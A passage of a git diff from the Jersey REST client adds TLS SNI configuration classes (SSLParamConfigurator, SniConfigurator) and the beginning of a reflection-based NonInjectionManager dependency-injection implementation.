License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.innate.http; + +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.HttpHeaders; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; + +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLParameters; +import javax.net.ssl.SSLSocket; +import jakarta.ws.rs.core.UriBuilder; +import org.glassfish.jersey.internal.PropertiesResolver; +import org.glassfish.jersey.internal.util.PropertiesHelper; + +import java.net.InetAddress; +import java.net.URI; +import java.net.UnknownHostException; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Properties; + +/** + * A unified routines to configure {@link SSLParameters}. + * To be reused in connectors. + */ +public final class SSLParamConfigurator { + private final URI uri; + private final Optional sniConfigurator; + + /** + * Builder of the {@link SSLParamConfigurator} instance. + */ + public static final class Builder { + private URI uri = null; + private String sniHostNameHeader = null; + private String sniHostNameProperty = null; + private boolean setAlways = false; + + /** + * Sets the SNIHostName and {@link URI} from the {@link ClientRequest} instance. + * @param clientRequest the {@link ClientRequest} + * @return the builder instance + */ + public Builder request(ClientRequest clientRequest) { + this.sniHostNameHeader = getSniHostNameHeader(clientRequest.getHeaders()); + this.sniHostNameProperty = clientRequest.resolveProperty(ClientProperties.SNI_HOST_NAME, String.class); + this.uri = clientRequest.getUri(); + return this; + } + + /** + * Sets the SNIHostName from the {@link Configuration} instance. + * @param configuration the {@link Configuration} + * @return the builder instance + */ + public Builder configuration(Configuration configuration) { + this.sniHostNameProperty = (String) configuration.getProperty(ClientProperties.SNI_HOST_NAME); + return this; + } + + /** + * Sets the HTTP request {@link URI} instance. + * @param uri The request uri + * @return the builder instance + */ + public Builder uri(URI uri) { + this.uri = uri; + return this; + } + + /** + * Sets the HTTP request headers + * @param httpHeaders the http request headers + * @return the builder instance + */ + public Builder headers(Map> httpHeaders) { + this.sniHostNameHeader = getSniHostNameHeader(httpHeaders); + return this; + } + + /** + * Sets SNI only when {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from the request host name if set to + * {@code false}. Default is {@code false}. + * @param setAlways set SNI always (default) + * @return the builder instance + */ + public Builder setSNIAlways(boolean setAlways) { + this.setAlways = setAlways; + return this; + } + + /** + * Builds the {@link SSLParamConfigurator} instance. + * @return the configured {@link SSLParamConfigurator} instance. + */ + public SSLParamConfigurator build() { + return new SSLParamConfigurator(this); + } + + private static String getSniHostNameHeader(Map> httpHeaders) { + List hostHeaders = httpHeaders.get(HttpHeaders.HOST); + if (hostHeaders == null || hostHeaders.get(0) == null) { + return null; + } + + final String hostHeader = hostHeaders.get(0).toString(); + final String trimmedHeader; + if (hostHeader != null) { + int index = hostHeader.indexOf(':'); // RFC 7230 Host = uri-host [ ":" port ] ; + final String trimmedHeader0 = index != -1 ? hostHeader.substring(0, index).trim() : hostHeader.trim(); + trimmedHeader = trimmedHeader0.isEmpty() ? hostHeader : trimmedHeader0; + } else { + trimmedHeader = null; + } + + return trimmedHeader; + } + } + + private SSLParamConfigurator(SSLParamConfigurator.Builder builder) { + String sniHostName = builder.sniHostNameHeader == null ? builder.sniHostNameProperty : builder.sniHostNameHeader; + uri = builder.uri; + sniConfigurator = SniConfigurator.createWhenHostHeader(uri, sniHostName, builder.setAlways); + } + + /** + * Create a new instance of TlsSupport class + **/ + public static SSLParamConfigurator.Builder builder() { + return new SSLParamConfigurator.Builder(); + } + + /** + * Get the host name either set by the request URI or by + * {@link jakarta.ws.rs.core.HttpHeaders#HOST} header if it differs from HTTP request host name. + * @return the hostName the {@link SSLEngine} is to use. + */ + public String getSNIHostName() { + return sniConfigurator.isPresent() ? sniConfigurator.get().getHostName() : uri.getHost(); + } + + /** + * Replaces hostname within the {@link ClientRequest} uri with a resolved IP address. Should the hostname be not known, + * the original request URI is returned. The purpose of this method is to replace the host with the IP so that + * {code HttpUrlConnection} does not replace user defined {@link javax.net.ssl.SNIHostName} with the host from the request + * uri. + * @return the request uri with ip address of the resolved host. + */ + public URI toIPRequestUri() { + String host = uri.getHost(); + try { + InetAddress ip = InetAddress.getByName(host); + return UriBuilder.fromUri(uri).host(ip.getHostAddress()).build(); + } catch (UnknownHostException e) { + return uri; + } + } + + /** + * Return true iff SNI is to be set, i.e. + * {@link jakarta.ws.rs.core.HttpHeaders#HOST} header if it differs from HTTP request host name. + * @return Return {@code true} when {@link javax.net.ssl.SNIHostName} is to be set. + */ + public boolean isSNIRequired() { + return sniConfigurator.isPresent(); + } + + /** + * Get the request URI or altered by {@link jakarta.ws.rs.core.HttpHeaders#HOST} header. + * @return The possibly altered request URI. + * @see #getSNIHostName() + */ + public URI getSNIUri() { + return sniConfigurator.isPresent() ? UriBuilder.fromUri(uri).host(getSNIHostName()).build() : uri; + } + + /** + * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used + * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name) + * @param sslEngine the {@link SSLEngine} the {@link SSLParameters} are set for. + */ + public void setSNIServerName(SSLEngine sslEngine) { + sniConfigurator.ifPresent(sni -> sni.setServerNames(sslEngine)); + } + + + /** + * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used + * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name) + * @param sslSocket the {@link SSLSocket} the {@link SSLParameters} are set for. + */ + public void setSNIServerName(SSLSocket sslSocket) { + sniConfigurator.ifPresent(sni -> sni.setServerNames(sslSocket)); + } + + /** + * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used + * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name) + * @param parameters the {@link SSLParameters} to be set + */ + public void setSNIServerName(SSLParameters parameters) { + sniConfigurator.ifPresent(sni -> sni.updateSSLParameters(parameters)); + } + + /** + * Set setEndpointIdentificationAlgorithm to HTTPS. This is to prevent man-in-the-middle attacks. + * @param sslEngine the {@link SSLEngine} the algorithm is set for. + * @see SSLParameters#setEndpointIdentificationAlgorithm(String) + */ + public void setEndpointIdentificationAlgorithm(SSLEngine sslEngine) { + SSLParameters sslParameters = sslEngine.getSSLParameters(); + sslParameters.setEndpointIdentificationAlgorithm("HTTPS"); + sslEngine.setSSLParameters(sslParameters); + } +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java new file mode 100644 index 00000000000..9e766f539f4 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java @@ -0,0 +1,108 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.innate.http; + +import org.glassfish.jersey.client.internal.LocalizationMessages; + +import javax.net.ssl.SNIHostName; +import javax.net.ssl.SNIServerName; +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLParameters; +import javax.net.ssl.SSLSocket; +import jakarta.ws.rs.core.HttpHeaders; +import java.net.URI; +import java.util.LinkedList; +import java.util.List; +import java.util.Optional; +import java.util.logging.Logger; + +/** + * A unified routines to set {@link SNIHostName} for the {@link javax.net.ssl.SSLContext}. + * To be reused in connectors. + */ +final class SniConfigurator { + private static final Logger LOGGER = Logger.getLogger(SniConfigurator.class.getName()); + private final String hostName; + private SniConfigurator(String hostName) { + this.hostName = hostName; + } + + /** + * Get the hostName from the {@link HttpHeaders#HOST} header. + * @return + */ + String getHostName() { + return hostName; + } + + /** + * Create ClientSNI when {@link HttpHeaders#HOST} is set different from the request URI host (or {@code whenDiffer}.is false). + * @param hostUri the Uri of the HTTP request + * @param sniHostName the SniHostName either from HttpHeaders or the + * {@link org.glassfish.jersey.client.ClientProperties#SNI_HOST_NAME} property from Configuration object. + * @param whenDiffer create {@SniConfigurator only when different from the request URI host} + * @return ClientSNI or empty when {@link HttpHeaders#HOST} + */ + static Optional createWhenHostHeader(URI hostUri, String sniHostName, boolean whenDiffer) { + if (sniHostName == null) { + return Optional.empty(); + } + + if (hostUri != null) { + final String hostUriString = hostUri.getHost(); + if (!whenDiffer && hostUriString.equals(sniHostName)) { + return Optional.empty(); + } + } + + return Optional.of(new SniConfigurator(sniHostName)); + } + + /** + * Set {@link SNIServerName} for the given {@link SSLEngine} SSLParameters. + * @param sslEngine + */ + void setServerNames(SSLEngine sslEngine) { + SSLParameters sslParameters = sslEngine.getSSLParameters(); + updateSSLParameters(sslParameters); + sslEngine.setSSLParameters(sslParameters); + LOGGER.fine(LocalizationMessages.SNI_ON_SSLENGINE()); + } + + /** + * Set {@link SNIServerName} for the given {@link SSLSocket} SSLParameters. + * @param sslSocket + */ + void setServerNames(SSLSocket sslSocket) { + SSLParameters sslParameters = sslSocket.getSSLParameters(); + updateSSLParameters(sslParameters); + sslSocket.setSSLParameters(sslParameters); + LOGGER.fine(LocalizationMessages.SNI_ON_SSLSOCKET()); + } + + SSLParameters updateSSLParameters(SSLParameters sslParameters) { + SNIHostName serverName = new SNIHostName(hostName); + List serverNames = new LinkedList<>(); + serverNames.add(serverName); + + sslParameters.setServerNames(serverNames); + LOGGER.finer(LocalizationMessages.SNI_UPDATE_SSLPARAMS(hostName)); + + return sslParameters; + } + +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/package-info.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/package-info.java new file mode 100644 index 00000000000..bbedce040c0 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey client MOST INTERNAL http related classes/interfaces. + * Shall not be used outside of Jersey. The module shall not be exported to outside of Jersey. + */ +package org.glassfish.jersey.client.innate.http; \ No newline at end of file diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java new file mode 100644 index 00000000000..047bba811b4 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java @@ -0,0 +1,1049 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.innate.inject; + +import org.glassfish.jersey.client.internal.LocalizationMessages; +import org.glassfish.jersey.internal.inject.Binder; +import org.glassfish.jersey.internal.inject.Binding; +import org.glassfish.jersey.internal.inject.ClassBinding; +import org.glassfish.jersey.internal.inject.DisposableSupplier; +import org.glassfish.jersey.internal.inject.ForeignDescriptor; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.internal.inject.InstanceBinding; +import org.glassfish.jersey.internal.inject.PerThread; +import org.glassfish.jersey.internal.inject.ServiceHolder; +import org.glassfish.jersey.internal.inject.ServiceHolderImpl; +import org.glassfish.jersey.internal.inject.SupplierClassBinding; +import org.glassfish.jersey.internal.inject.SupplierInstanceBinding; +import org.glassfish.jersey.internal.util.collection.LazyValue; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; +import org.glassfish.jersey.process.internal.RequestScope; +import org.glassfish.jersey.process.internal.RequestScoped; + +import jakarta.annotation.PostConstruct; +import jakarta.annotation.PreDestroy; +import jakarta.inject.Inject; +import jakarta.inject.Provider; +import jakarta.inject.Singleton; +import jakarta.ws.rs.ConstrainedTo; +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.MultivaluedHashMap; +import jakarta.ws.rs.core.MultivaluedMap; +import java.lang.annotation.Annotation; +import java.lang.reflect.Constructor; +import java.lang.reflect.Executable; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Proxy; +import java.lang.reflect.Type; +import java.util.Collections; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.function.Supplier; +import java.util.logging.Level; +import java.util.logging.Logger; +import java.util.stream.Collectors; + +@ConstrainedTo(RuntimeType.CLIENT) +public final class NonInjectionManager implements InjectionManager { + private static final Logger logger = Logger.getLogger(NonInjectionManager.class.getName()); + + private final MultivaluedMap, InstanceBinding> instanceBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap, ClassBinding> contractBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap, SupplierInstanceBinding> supplierInstanceBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap, SupplierClassBinding> supplierClassBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap> instanceTypeBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap> contractTypeBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap> supplierTypeInstanceBindings = new MultivaluedHashMap<>(); + private final MultivaluedMap> supplierTypeClassBindings = new MultivaluedHashMap<>(); + + private final MultivaluedMap disposableSupplierObjects = new MultivaluedHashMap<>(); + + private final Instances instances = new Instances(); + private final Types types = new Types(); + + private volatile boolean isRequestScope = false; + private volatile boolean shutdown = false; + + /** + * A class that holds singleton instances and thread-scope instances. Provides thread safe access to singletons + * and thread-scope instances. The instances are created for Type (ParametrizedType) and for a Class. + * @param the type for which the instance is created, either Class, or ParametrizedType (for instance + * Provider<SomeClass>). + */ + private class TypedInstances { + private final MultivaluedMap> singletonInstances = new MultivaluedHashMap<>(); + private final ThreadLocal>> threadInstances = new ThreadLocal<>(); + private final List threadPredestroyables = Collections.synchronizedList(new LinkedList<>()); + + private List> _getSingletons(TYPE clazz) { + List> si; + synchronized (singletonInstances) { + si = singletonInstances.get(clazz); + } + return si; + } + + @SuppressWarnings("unchecked") + T _addSingleton(TYPE clazz, T instance, Binding binding, Annotation[] qualifiers) { + synchronized (singletonInstances) { + // check existing singleton with a qualifier already created by another thread io a meantime + List> values = singletonInstances.get(clazz); + if (values != null) { + List> qualified + = values.stream() + .filter(ctx -> ctx.hasQualifiers(qualifiers)) + .collect(Collectors.toList()); + if (!qualified.isEmpty()) { + return (T) qualified.get(0).instance; + } + } + singletonInstances.add(clazz, new InstanceContext<>(instance, binding, qualifiers)); + threadPredestroyables.add(instance); + return instance; + } + } + + @SuppressWarnings("unchecked") + T addSingleton(TYPE clazz, T t, Binding binding, Annotation[] instanceQualifiers) { + T t2 = _addSingleton(clazz, t, binding, instanceQualifiers); + if (t2 == t) { + for (Type contract : binding.getContracts()) { + if (!clazz.equals(contract) && isClass(contract)) { + _addSingleton((TYPE) contract, t, binding, instanceQualifiers); + } + } + } + return t2; + } + + private List> _getThreadInstances(TYPE clazz) { + MultivaluedMap> ti = threadInstances.get(); + List> list = ti == null ? null : new LinkedList<>(); + if (ti != null) { + return ti.get(clazz); + } + return list; + } + + private void _addThreadInstance(TYPE clazz, T instance, Binding binding, Annotation[] qualifiers) { + MultivaluedMap> map = threadInstances.get(); + if (map == null) { + map = new MultivaluedHashMap<>(); + threadInstances.set(map); + } + map.add(clazz, new InstanceContext<>(instance, binding, qualifiers)); + threadPredestroyables.add(instance); + } + + void addThreadInstance(TYPE clazz, T t, Binding binding, Annotation[] instanceQualifiers) { + _addThreadInstance(clazz, t, binding, instanceQualifiers); + for (Type contract : binding.getContracts()) { + if (!clazz.equals(contract) && isClass(contract)) { + _addThreadInstance((TYPE) contract, t, binding, instanceQualifiers); + } + } + } + + private List getInstances(TYPE clazz, Annotation[] annotations) { + List> i = _getContexts(clazz); + return InstanceContext.toInstances(i, annotations); + } + + List> getContexts(TYPE clazz, Annotation[] annotations) { + List> i = _getContexts(clazz); + return InstanceContext.filterInstances(i, annotations); + } + + private List> _getContexts(TYPE clazz) { + List> si = _getSingletons(clazz); + List> ti = _getThreadInstances(clazz); + if (si == null && ti != null) { + si = ti; + } else if (ti != null) { + si.addAll(ti); + } + return si; + } + + T getInstance(TYPE clazz, Annotation[] annotations) { + List i = getInstances(clazz, annotations); + if (i != null) { + checkUnique(i); + return i.get(0); + } + return null; + } + + void dispose() { + singletonInstances.forEach((clazz, instances) -> instances.forEach(instance -> preDestroy(instance.getInstance()))); + threadPredestroyables.forEach(NonInjectionManager.this::preDestroy); + } + } + + private class Instances extends TypedInstances> { + } + + private class Types extends TypedInstances { + } + + public NonInjectionManager() { + } + + public NonInjectionManager(boolean warning) { + if (warning) { + logger.warning(LocalizationMessages.NONINJECT_FALLBACK()); + } else { + logger.log(Level.FINER, LocalizationMessages.NONINJECT_FALLBACK()); + } + } + + @Override + public void completeRegistration() { + instances._addSingleton(InjectionManager.class, this, new InjectionManagerBinding(), null); + } + + @Override + public void shutdown() { + shutdown = true; + + disposableSupplierObjects.forEach((supplier, objects) -> objects.forEach(supplier::dispose)); + disposableSupplierObjects.clear(); + + instances.dispose(); + types.dispose(); + } + + @Override + public boolean isShutdown() { + return shutdown; + } + + private void checkShutdown() { + if (shutdown) { + throw new IllegalStateException(LocalizationMessages.NONINJECT_SHUTDOWN()); + } + } + + @Override + public void register(Binding binding) { + checkShutdown(); + if (InstanceBinding.class.isInstance(binding)) { + InstanceBinding instanceBinding = (InstanceBinding) binding; + Class mainType = binding.getImplementationType(); + if (!instanceBindings.containsKey(mainType)) { // the class could be registered twice, for reader & for writer + instanceBindings.add(mainType, (InstanceBinding) binding); + } + for (Type type : (Iterable) instanceBinding.getContracts()) { + if (isClass(type)) { + if (!mainType.equals(type)) { + instanceBindings.add((Class) type, instanceBinding); + } + } else { + instanceTypeBindings.add(type, instanceBinding); + } + } + } else if (ClassBinding.class.isInstance(binding)) { + ClassBinding contractBinding = (ClassBinding) binding; + Class mainType = binding.getImplementationType(); + if (!contractBindings.containsKey(mainType)) { // the class could be registered twice, for reader & for writer + contractBindings.add(mainType, contractBinding); + } + for (Type type : contractBinding.getContracts()) { + if (isClass(type)) { + if (!mainType.equals(type)) { + contractBindings.add((Class) type, contractBinding); + } + } else { + contractTypeBindings.add(type, contractBinding); + } + } + } else if (SupplierInstanceBinding.class.isInstance(binding)) { + SupplierInstanceBinding supplierBinding = (SupplierInstanceBinding) binding; + for (Type type : supplierBinding.getContracts()) { + if (isClass(type)) { + supplierInstanceBindings.add((Class) type, supplierBinding); + } else { + supplierTypeInstanceBindings.add(type, supplierBinding); + } + } + } else if (SupplierClassBinding.class.isInstance(binding)) { + SupplierClassBinding supplierBinding = (SupplierClassBinding) binding; + for (Type type : supplierBinding.getContracts()) { + if (isClass(type)) { + supplierClassBindings.add((Class) type, supplierBinding); + } else { + supplierTypeClassBindings.add(type, supplierBinding); + } + } + } + } + + @Override + public void register(Iterable descriptors) { + checkShutdown(); + for (Binding binding : descriptors) { + register(binding); + } + } + + @Override + public void register(Binder binder) { + checkShutdown(); + binder.getBindings().stream().iterator().forEachRemaining(this::register); + } + + @Override + public void register(Object provider) throws IllegalArgumentException { + throw new UnsupportedOperationException("Register " + provider); + } + + @Override + public boolean isRegistrable(Class clazz) { + return false; // for external creators + } + + @Override + public List> getAllServiceHolders(Class contractOrImpl, Annotation... qualifiers) { + checkShutdown(); + + ClassBindings classBindings = classBindings(contractOrImpl, qualifiers); + return classBindings.getAllServiceHolders(qualifiers); + } + + @Override + public T getInstance(Class contractOrImpl, Annotation... qualifiers) { + checkShutdown(); + + ClassBindings classBindings = classBindings(contractOrImpl, qualifiers); + classBindings.matchQualifiers(qualifiers); + return classBindings.getInstance(); + } + + @Override + public T getInstance(Class contractOrImpl, String classAnalyzer) { + throw new UnsupportedOperationException("getInstance(Class, String)"); + } + + @Override + public T getInstance(Class contractOrImpl) { + checkShutdown(); + + T instance = instances.getInstance(contractOrImpl, null); + if (instance != null) { + return instance; + } + return create(contractOrImpl); + } + + @Override + @SuppressWarnings("unchecked") + public T getInstance(Type contractOrImpl) { + checkShutdown(); + + if (ParameterizedType.class.isInstance(contractOrImpl)) { + T instance = types.getInstance(contractOrImpl, null); + if (instance != null) { + return instance; + } + + TypeBindings typeBindings = typeBindings(contractOrImpl); + return typeBindings.getInstance(); + } else if (isClass(contractOrImpl)) { + return getInstance((Class) contractOrImpl); + } + throw new IllegalStateException(LocalizationMessages.NONINJECT_UNSATISFIED(contractOrImpl)); + } + + private static boolean isClass(Type type) { + return Class.class.isAssignableFrom(type.getClass()); + } + + @Override + public Object getInstance(ForeignDescriptor foreignDescriptor) { + throw new UnsupportedOperationException("getInstance(ForeignDescriptor foreignDescriptor) "); + } + + @Override + public ForeignDescriptor createForeignDescriptor(Binding binding) { + throw new UnsupportedOperationException("createForeignDescriptor(Binding binding) "); + } + + @Override + public List getAllInstances(Type contractOrImpl) { + checkShutdown(); + + if (!isClass(contractOrImpl)) { + TypeBindings typeBindings = typeBindings(contractOrImpl); + return typeBindings.allInstances(); + } + + @SuppressWarnings("unchecked") + ClassBindings classBindings = classBindings((Class) contractOrImpl); + return classBindings.allInstances(); + } + + @SuppressWarnings("unchecked") + @Override + public T create(Class createMe) { + checkShutdown(); + + if (InjectionManager.class.equals(createMe)) { + return (T) this; + } + if (RequestScope.class.equals(createMe)) { + if (!isRequestScope) { + isRequestScope = true; + return (T) new NonInjectionRequestScope(); + } else { + throw new IllegalStateException(LocalizationMessages.NONINJECT_REQUESTSCOPE_CREATED()); + } + } + + ClassBindings classBindings = classBindings(createMe); + return classBindings.create(true); + } + + @Override + public T createAndInitialize(Class createMe) { + checkShutdown(); + + if (InjectionManager.class.equals(createMe)) { + return (T) this; + } + if (RequestScope.class.equals(createMe)) { + if (!isRequestScope) { + isRequestScope = true; + return (T) new NonInjectionRequestScope(); + } else { + throw new IllegalStateException(LocalizationMessages.NONINJECT_REQUESTSCOPE_CREATED()); + } + } + + ClassBindings classBindings = classBindings(createMe); + T t = classBindings.create(false); + return t != null ? t : justCreate(createMe); + } + + public T justCreate(Class createMe) { + T result = null; + try { + Constructor mostArgConstructor = findConstructor(createMe); + if (mostArgConstructor != null) { + int argCount = mostArgConstructor.getParameterCount(); + if (argCount == 0) { + ensureAccessible(mostArgConstructor); + result = mostArgConstructor.newInstance(); + } else if (argCount > 0) { + Object[] args = getArguments(mostArgConstructor, argCount); + if (args != null) { + ensureAccessible(mostArgConstructor); + result = mostArgConstructor.newInstance(args); + } + } + } + if (result == null) { + throw new IllegalStateException(LocalizationMessages.NONINJECT_NO_CONSTRUCTOR(createMe.getName())); + } + } catch (Exception e) { + throw new IllegalStateException(e); + } + + inject(result); + return result; + } + + private static Constructor findConstructor(Class forClass) { + Constructor[] constructors = (Constructor[]) forClass.getDeclaredConstructors(); + Constructor mostArgConstructor = null; + int argCount = -1; + for (Constructor constructor : constructors) { + if (constructor.isAnnotationPresent(Inject.class) || constructor.getParameterCount() == 0) { + if (constructor.getParameterCount() > argCount) { + mostArgConstructor = constructor; + argCount = constructor.getParameterCount(); + } + } + } + return mostArgConstructor; + } + + private Object[] getArguments(Executable executable, int argCount) { + if (executable == null) { + return null; + } + Object[] args = new Object[argCount]; + for (int i = 0; i != argCount; i++) { + Type type = executable.getAnnotatedParameterTypes()[i].getType(); + args[i] = isClass(type) ? getInstance((Class) type) : getInstance(type); + } + return args; + } + + private static void ensureAccessible(Executable executable) { + try { + if (!executable.isAccessible()) { + executable.setAccessible(true); + } + } catch (Exception e) { + // consume. It will fail later with invoking the executable + } + } + + private void checkUnique(List list) { + if (list.size() != 1) { + throw new IllegalStateException(LocalizationMessages.NONINJECT_AMBIGUOUS_SERVICES(list.get(0))); + } + } + + @Override + public void inject(Object injectMe) { + Method postConstruct = getAnnotatedMethod(injectMe, PostConstruct.class); + if (postConstruct != null) { + ensureAccessible(postConstruct); + try { + postConstruct.invoke(injectMe); + } catch (Exception e) { + throw new IllegalStateException(e); + } + } + } + + @Override + public void inject(Object injectMe, String classAnalyzer) { + throw new UnsupportedOperationException("inject(Object injectMe, String classAnalyzer)"); + } + + @Override + public void preDestroy(Object preDestroyMe) { + Method preDestroy = getAnnotatedMethod(preDestroyMe, PreDestroy.class); + if (preDestroy != null) { + ensureAccessible(preDestroy); + try { + preDestroy.invoke(preDestroyMe); + } catch (Exception e) { + throw new IllegalStateException(e); + } + } + } + + private static Method getAnnotatedMethod(Object object, Class annotation) { + Class clazz = object.getClass(); + for (Method method : clazz.getMethods()) { + if (method.isAnnotationPresent(annotation) + && /* do not invoke interceptors */ method.getParameterCount() == 0) { + return method; + } + } + return null; + } + + /** + * Some {@link Binding} requires the proxy to be created rather than just the instance, + * for instance a proxy of an instance supplied by a supplier that is not known at a time of the proxy creation. + * @param createProxy the nullable {@link Binding#isProxiable()} information + * @param iface the type of which the proxy is created + * @param supplier the reference to the supplier + * @param the type the supplier should supply + * @return The proxy for the instance supplied by a supplier or the instance if not required to be proxied. + */ + @SuppressWarnings("unchecked") + private T createSupplierProxyIfNeeded(Boolean createProxy, Class iface, Supplier supplier) { + if (createProxy != null && createProxy && iface.isInterface()) { + T proxy = (T) Proxy.newProxyInstance(iface.getClassLoader(), new Class[]{iface}, new InvocationHandler() { + final SingleRegisterSupplier singleSupplierRegister = new SingleRegisterSupplier<>(supplier); + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + T t = singleSupplierRegister.get(); + Object ret = method.invoke(t, args); + return ret; + } + }); + return proxy; + } else { + return registerDisposableSupplierAndGet(supplier); + } + } + + /** + * A holder class making sure the Supplier (especially the {@link DisposableSupplier}) supplying the instance + * supplies (and is registered for being disposed at the end of the lifecycle) only once. + * @param + */ + private class SingleRegisterSupplier { + private final LazyValue once; + + private SingleRegisterSupplier(Supplier supplier) { + once = Values.lazy((Value) () -> registerDisposableSupplierAndGet(supplier)); + } + + T get() { + return once.get(); + } + } + + private T registerDisposableSupplierAndGet(Supplier supplier) { + T instance = supplier.get(); + if (DisposableSupplier.class.isInstance(supplier)) { + disposableSupplierObjects.add((DisposableSupplier) supplier, instance); + } + return instance; + } + + /** + * Create {@link ClassBindings} instance containing bindings and instances for the given Type. + * @param clazz the given class. + * @param instancesQualifiers The qualifiers the expected instances of the given class should have. + * @param Expected return class type. + * @return the {@link ClassBindings}. + */ + @SuppressWarnings("unchecked") + private ClassBindings classBindings(Class clazz, Annotation... instancesQualifiers) { + ClassBindings classBindings = new ClassBindings<>(clazz, instancesQualifiers); + List> ib = instanceBindings.get(clazz); + if (ib != null) { + ib.forEach(binding -> classBindings.instanceBindings.add((InstanceBinding) binding)); + } + List> sib = supplierInstanceBindings.get(clazz); + if (sib != null) { + sib.forEach(binding -> classBindings.supplierInstanceBindings.add((SupplierInstanceBinding) binding)); + } + List> cb = contractBindings.get(clazz); + if (cb != null) { + cb.forEach(binding -> classBindings.classBindings.add((ClassBinding) binding)); + } + List> scb = supplierClassBindings.get(clazz); + if (scb != null) { + scb.forEach(binding -> classBindings.supplierClassBindings.add((SupplierClassBinding) binding)); + } + return classBindings; + } + + /** + * Create {@link TypeBindings} instance containing bindings and instances for the given Type. + * @param type the given type. + * @param Expected return type. + * @return the {@link TypeBindings}. + */ + @SuppressWarnings("unchecked") + private TypeBindings typeBindings(Type type) { + TypeBindings typeBindings = new TypeBindings<>(type); + List> ib = instanceTypeBindings.get(type); + if (ib != null) { + ib.forEach(binding -> typeBindings.instanceBindings.add((InstanceBinding) binding)); + } + List> sib = supplierTypeInstanceBindings.get(type); + if (sib != null) { + sib.forEach(binding -> typeBindings.supplierInstanceBindings.add((SupplierInstanceBinding) binding)); + } + List> cb = contractTypeBindings.get(type); + if (cb != null) { + cb.forEach(binding -> typeBindings.classBindings.add((ClassBinding) binding)); + } + List> scb = supplierTypeClassBindings.get(type); + if (scb != null) { + scb.forEach(binding -> typeBindings.supplierClassBindings.add((SupplierClassBinding) binding)); + } + return typeBindings; + } + + /** + *

    + * A class that contains relevant bindings for a given TYPE, filtered from all registered bindings. + * The TYPE is either Type (ParametrizedType) or Class. + *

    + *

    + * The class also filters any bindings for which the singleton or thread-scoped instance already is created. + * The class either provides the existing instance, or all instances of the TYPE, or {@link ServiceHolder}s. + *

